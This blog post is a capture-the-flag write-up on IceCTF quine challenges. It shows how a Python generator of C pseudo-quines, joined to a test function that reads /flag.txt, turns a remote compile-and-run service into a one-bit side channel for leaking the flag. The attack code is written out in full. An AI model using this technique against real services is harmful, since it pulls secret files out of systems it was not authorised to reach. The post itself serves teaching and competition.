Quines as a Side-channel

02 Sep 2016

I recently competed in IceCTF, and two of my favorite problems were about quines. A quine is a program which prints its own source code; the term was coined by Douglas Hofstadter in his (excellent) book, Göedel, Escher, Bach.

The Problem

The quine problems involved finding a vulnerability in a service (run on a remote machine) which accepted a C source file as input and repeatedly compiled the source file, ran the program, and overwrote the source file with the program’s output. After some number of iterations the server would return the resulting source code, provided some conditions held (more on that below).

In their purest form, quines should not take any input. For example, the following Python one-liner is considered “cheating”:

print(open(__file__).read(), end="")

However, pure quines are quite useless for the purposes of a CTF competition. If the quine service had only returned one bit of information, whether or not the input program was a true quine, then it would have been safe from the attack we used. However, the C programs the server ran could read from files, and the user the programs were run by had permissions to read /flag.txt, the file whose contents we were supposed to exfiltrate.

In the first version of the quine problem, which sent programs through exactly 20 iterations, I had the idea of simply wrapping a target program with layers of print statements. To illustrate, I’ll do this in Python. Consider the following target program:

print(open('/flag.txt').read())

If we wanted this program to be run during the final iteration and there were 5 iterations, we would wrap it in 4 print statements like so:

print("print(\"print(\\\"print(\\\\\\\"print(open('/flag.txt').read())\\\\\\\")\\\")\")")

This approach didn’t work. The service spit out an error, complaining about source files not matching. We took this to mean that the service would only print out the final source file if it matched the input source file. In other words, we assumed that we would only get one bit of information out: quine or no quine. This turned out not to be the case, but I like the solution we came up with better than the intended one.

The Attack

Since we’re assuming that the server only returns the quine or no quine bit, the key insight is that if the programs being run can take some input, then we can create programs which are quines if and only if some condition holds.

I started with the following C quine, which I found on Stack Overflow:

#include <stdio.h>
char*s="#include <stdio.h>%cchar*s=%c%s%c;%cint main(void){printf(s,10,34,s,34,10,10);}%c";
int main(void){printf(s,10,34,s,34,10,10);}

How does it work? The critical bit is the %s inside s. This allows the program to print s using a copy of itself. The other trick is that it uses code points to print out characters that need escaping. (Try representing newlines as \n inside s and removing all the 10s from the printf arguments, and you’ll see what goes wrong.)

Using that basic quine as a starting point, I came up with this generator in Python which creates C quines based on some function, test (passed to gen_quine as a string):

TO_REPLACE = "\n\r\"\'"

def code_point(c):
    return str(ord(c))

def strip_normal_chars(s):
    return ''.join([c for c in s if c in TO_REPLACE])

def gen_codepoints(s):
    cps = ','.join(map(code_point, strip_normal_chars(s)))
    if cps:
        cps += ','
    return cps

def gen_char_s(s):
    return ''.join(['%c' if c in TO_REPLACE else c for c in s])

def gen_quine(test_function):
    return (
"""#include <stdio.h>
#include <stdlib.h>
%s
char*s="#include <stdio.h>%%c#include <stdlib.h>%%c%s%%cchar*s=%%c%%s%%c;%%cint main(void){if(!test()){exit(1);}printf(s,10,10,%s10,34,s,34,10,10);}%%c";
int main(void){if(!test()){exit(1);}printf(s,10,10,%s10,34,s,34,10,10);}
"""
    ) % (test_function,
         gen_char_s(test_function),
         gen_codepoints(test_function), 
         gen_codepoints(test_function))

For example gen_quine("int test() {return 1;}") returns:

#include <stdio.h>
#include <stdlib.h>
int test() {return 1;}
char*s="#include <stdio.h>%c#include <stdlib.h>%cint test() {return 1;}%cchar*s=%c%s%c;%cint main(void){if(!test()){exit(1);}printf(s,10,10,10,34,s,34,10,10);}%c";
int main(void){if(!test()){exit(1);}printf(s,10,10,10,34,s,34,10,10);}

This is a pure quine.

I’ll leave you to figure out the fine points of the generator. There’s no real insight, just some fiddling with details. The point is that using it, we can generate arbitrary (pseudo-)quines! We then used that generator with the following function:

#include <unistd.h>
#include <fcntl.h>
int test() {
    int fd = open("/flag.txt", O_RDONLY);
    char x;
    pread(fd, &x, 1, 0);
    return x == 'I';
}

It worked! The server told us that the generated program was, indeed, a quine. (An important fact here is that all flags had the format IceCTF{...}.) From there, all we had to do was loop through each bit of the flag and test it. Since all of the flags were less than 80 characters long, this took less than 640 requests to the server (640 separate quines to checks). Not too bad.

Conclusion

Was arbitrary (pseudo-)quine generation necessary? Well, no. It turned out that the server printing out the final source code was important, and the problems could have been solved in a single request. But our way was more fun.

Moral of the story: if you’re ever building QCaaS (Quine Checking as a Service), be careful. You might be returning more information than you think.